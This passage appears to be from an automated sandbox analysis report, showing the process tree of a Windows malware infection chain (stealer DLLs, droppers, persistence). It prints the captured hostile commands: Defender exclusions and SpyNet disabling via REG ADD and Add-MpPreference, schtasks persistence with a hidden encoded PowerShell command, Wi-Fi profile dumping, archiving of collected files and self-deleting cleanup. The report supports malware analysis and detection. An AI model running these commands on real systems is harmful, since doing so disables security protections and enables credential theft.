        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffbbf8146f8,0x7ffbbf814708,0x7ffbbf814718
        5⤵
        
        PID:2752
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2104,14363044383216502106,5733223907851146302,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2116 /prefetch:2
        5⤵
        
        PID:5256
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2104,14363044383216502106,5733223907851146302,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5264
- - C:\Users\Admin\AppData\Local\Temp\1000046001\amert.exe
    "C:\Users\Admin\AppData\Local\Temp\1000046001\amert.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    PID:5868
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
    3⤵
    - Loads dropped DLL
    PID:4100
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
      4⤵
      Blocklisted process makes network request
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:2280
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:5588
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\999976163400_Desktop.zip' -CompressionLevel Optimal
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6464
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    PID:2232

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5644

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5140

C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1192
- C:\Users\Admin\AppData\Local\Temp\1000985001\alex1234.exe
  "C:\Users\Admin\AppData\Local\Temp\1000985001\alex1234.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:6668
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5896
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Checks computer location settings
    - Suspicious use of AdjustPrivilegeToken
    PID:6760
  - - C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:6988
  - - C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"
      4⤵
      Executes dropped EXE
      Modifies system certificate store
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7008
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
      4⤵
      PID:6220
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        5⤵
        
        PID:5540
- C:\Users\Admin\AppData\Local\Temp\1001039001\redlinepanel.exe
  "C:\Users\Admin\AppData\Local\Temp\1001039001\redlinepanel.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6868
- C:\Users\Admin\AppData\Local\Temp\1001040001\32456.exe
  "C:\Users\Admin\AppData\Local\Temp\1001040001\32456.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5096
- C:\Users\Admin\AppData\Local\Temp\1001053001\goldprimeldlldf.exe
  "C:\Users\Admin\AppData\Local\Temp\1001053001\goldprimeldlldf.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1472
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4244
- C:\Users\Admin\AppData\Local\Temp\1001059001\NewB.exe
  "C:\Users\Admin\AppData\Local\Temp\1001059001\NewB.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:6416
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1001059001\NewB.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:6480
- C:\Users\Admin\AppData\Local\Temp\1001073001\swiiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\1001073001\swiiiii.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:6588
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:6640
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6588 -s 792
    3⤵
    - Program crash
    PID:6516
- C:\Users\Admin\AppData\Local\Temp\1001078001\koooooo.exe
  "C:\Users\Admin\AppData\Local\Temp\1001078001\koooooo.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:6376
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:7060
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6376 -s 852
    3⤵
    - Program crash
    PID:2952
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main
  2⤵
  - Loads dropped DLL
  PID:3184
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:6212
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      PID:5132
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\999976163400_Desktop.zip' -CompressionLevel Optimal
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2572
- C:\Users\Admin\AppData\Local\Temp\1001082001\go.exe
  "C:\Users\Admin\AppData\Local\Temp\1001082001\go.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1676
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/account
    3⤵
    PID:6100
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffbbf8146f8,0x7ffbbf814708,0x7ffbbf814718
      4⤵
      PID:5144
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1532,1650023950707366001,14115319887014955670,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 /prefetch:3
      4⤵
      PID:2392
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/video
    3⤵
    PID:6736
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffbbf8146f8,0x7ffbbf814708,0x7ffbbf814718
      4⤵
      PID:6752
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1944,5599121010349930030,3751712554812934689,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 /prefetch:3
      4⤵
      PID:2424
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
    3⤵
    PID:7144
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffbbf8146f8,0x7ffbbf814708,0x7ffbbf814718
      4⤵
      PID:6852
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1504,6481142287649822918,3833608405749106452,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 /prefetch:3
      4⤵
      PID:6904
- C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
  "C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe"
  2⤵
  PID:6628
- C:\Users\Admin\AppData\Local\Temp\1001084001\random.exe
  "C:\Users\Admin\AppData\Local\Temp\1001084001\random.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  PID:6428
- C:\Users\Admin\AppData\Local\Temp\1001085001\file300un.exe
  "C:\Users\Admin\AppData\Local\Temp\1001085001\file300un.exe"
  2⤵
  - UAC bypass
  - Windows security bypass
  - Checks computer location settings
  - Executes dropped EXE
  - Windows security modification
  - Checks whether UAC is enabled
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - System policy modification
  PID:6980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1001085001\file300un.exe" -Force
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2376
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2340
  - - C:\Users\Admin\Pictures\D5zcKFEgL4ZVr497BdwOQxlN.exe
      "C:\Users\Admin\Pictures\D5zcKFEgL4ZVr497BdwOQxlN.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:448
    - - C:\Users\Admin\AppData\Local\Temp\ucg.0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ucg.0.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:3312
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\HDAFBAEBKJ.exe"
        6⤵
        
        PID:6220
        
        C:\Users\Admin\AppData\Local\Temp\HDAFBAEBKJ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HDAFBAEBKJ.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1568
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\HDAFBAEBKJ.exe
        8⤵
        
        PID:3120
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 2.2.2.2 -n 1 -w 3000
        9⤵
        Runs ping.exe
        
        PID:4376
    - - C:\Users\Admin\AppData\Local\Temp\ucg.1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ucg.1.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:5356
      - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6816
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 448 -s 1152
        5⤵
        Program crash
        
        PID:4436
  - - C:\Users\Admin\Pictures\PaR0B66xZF1kcZCZP2cQEjfQ.exe
      "C:\Users\Admin\Pictures\PaR0B66xZF1kcZCZP2cQEjfQ.exe"
      4⤵
      Executes dropped EXE
      PID:6636
    - - C:\Users\Admin\AppData\Local\Temp\7zS298C.tmp\Install.exe
        
        .\Install.exe
        5⤵
        Executes dropped EXE
        
        PID:6412
      - C:\Users\Admin\AppData\Local\Temp\7zS2BCE.tmp\Install.exe
        
        .\Install.exe /HididNCj "385118" /S
        6⤵
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Drops file in System32 directory
        Enumerates system info in registry
        
        PID:2528
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        7⤵
        
        PID:6036
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        8⤵
        
        PID:4776
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        9⤵
        
        PID:5440
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        9⤵
        
        PID:1800
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        7⤵
        
        PID:6080
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        8⤵
        
        PID:5284
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        9⤵
        
        PID:5416
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        9⤵
        
        PID:6532
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gIpWvuxBi" /SC once /ST 09:40:23 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        7⤵
        Creates scheduled task(s)
        
        PID:5304
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gIpWvuxBi"
        7⤵
        
        PID:6196
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gIpWvuxBi"
        7⤵
        
        PID:1000
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bdnnguwcOLBYKAjbbA" /SC once /ST 22:22:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\rxTgUym.exe\" id /pDsite_idGqH 385118 /S" /V1 /F
        7⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:5408
  - - C:\Users\Admin\Pictures\oFkmUtcix5wIgdiTI9OyBufP.exe
      "C:\Users\Admin\Pictures\oFkmUtcix5wIgdiTI9OyBufP.exe" --silent --allusers=0
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Enumerates connected drives
      Modifies system certificate store
      PID:6848
    - - C:\Users\Admin\Pictures\oFkmUtcix5wIgdiTI9OyBufP.exe
        
        C:\Users\Admin\Pictures\oFkmUtcix5wIgdiTI9OyBufP.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x2a0,0x2a4,0x2a8,0x27c,0x2ac,0x6f42e1d0,0x6f42e1dc,0x6f42e1e8
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3836
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\oFkmUtcix5wIgdiTI9OyBufP.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\oFkmUtcix5wIgdiTI9OyBufP.exe" --version
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5904
    - - C:\Users\Admin\Pictures\oFkmUtcix5wIgdiTI9OyBufP.exe
        
        "C:\Users\Admin\Pictures\oFkmUtcix5wIgdiTI9OyBufP.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=6848 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240402222028" --session-guid=daa555b5-77ff-4838-b470-773852e847ec --server-tracking-blob=OGYxMmUyZWFhMTI3MTMwYjE3Yjc0YjBhYjNjYjJhNTdkZjBmZTg5N2UwOWRlYjY3MDY4MTM1ZDU5NjcwNTQ2ZTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N180NTYiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMCIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3MTIwOTY0MjIuODkzNyIsInV0bSI6eyJjYW1wYWlnbiI6Ijc2N180NTYiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJta3QifSwidXVpZCI6IjExZWQ2ZjM1LWYwOWYtNGNjZC1iZjQzLWU2YTg2ZjNiZDlkMiJ9 --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=0C05000000000000
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Enumerates connected drives
        
        PID:5024
      - C:\Users\Admin\Pictures\oFkmUtcix5wIgdiTI9OyBufP.exe
        
        C:\Users\Admin\Pictures\oFkmUtcix5wIgdiTI9OyBufP.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x298,0x29c,0x2ac,0x274,0x2b0,0x6eaae1d0,0x6eaae1dc,0x6eaae1e8
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2452
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404022220281\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404022220281\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe"
        5⤵
        Executes dropped EXE
        
        PID:6768
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404022220281\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404022220281\assistant\assistant_installer.exe" --version
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5656
      - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404022220281\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404022220281\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.20 --initial-client-data=0x270,0x274,0x278,0x24c,0x27c,0x4b0040,0x4b004c,0x4b0058
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4456
  - - C:\Users\Admin\Pictures\oDQZEklJUxOfhrNFETE1pheU.exe
      "C:\Users\Admin\Pictures\oDQZEklJUxOfhrNFETE1pheU.exe"
      4⤵
      Executes dropped EXE
      PID:4536
    - - C:\Users\Admin\AppData\Local\Temp\7zS35E0.tmp\Install.exe
        
        .\Install.exe
        5⤵
        Executes dropped EXE
        
        PID:5684
      - C:\Users\Admin\AppData\Local\Temp\7zS3880.tmp\Install.exe
        
        .\Install.exe /HididNCj "385118" /S
        6⤵
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Drops file in System32 directory
        Enumerates system info in registry
        
        PID:4240
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        7⤵
        
        PID:6616
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        8⤵
        
        PID:6868
        
        \??\c:\windows\SysWOW64\reg.exe
        
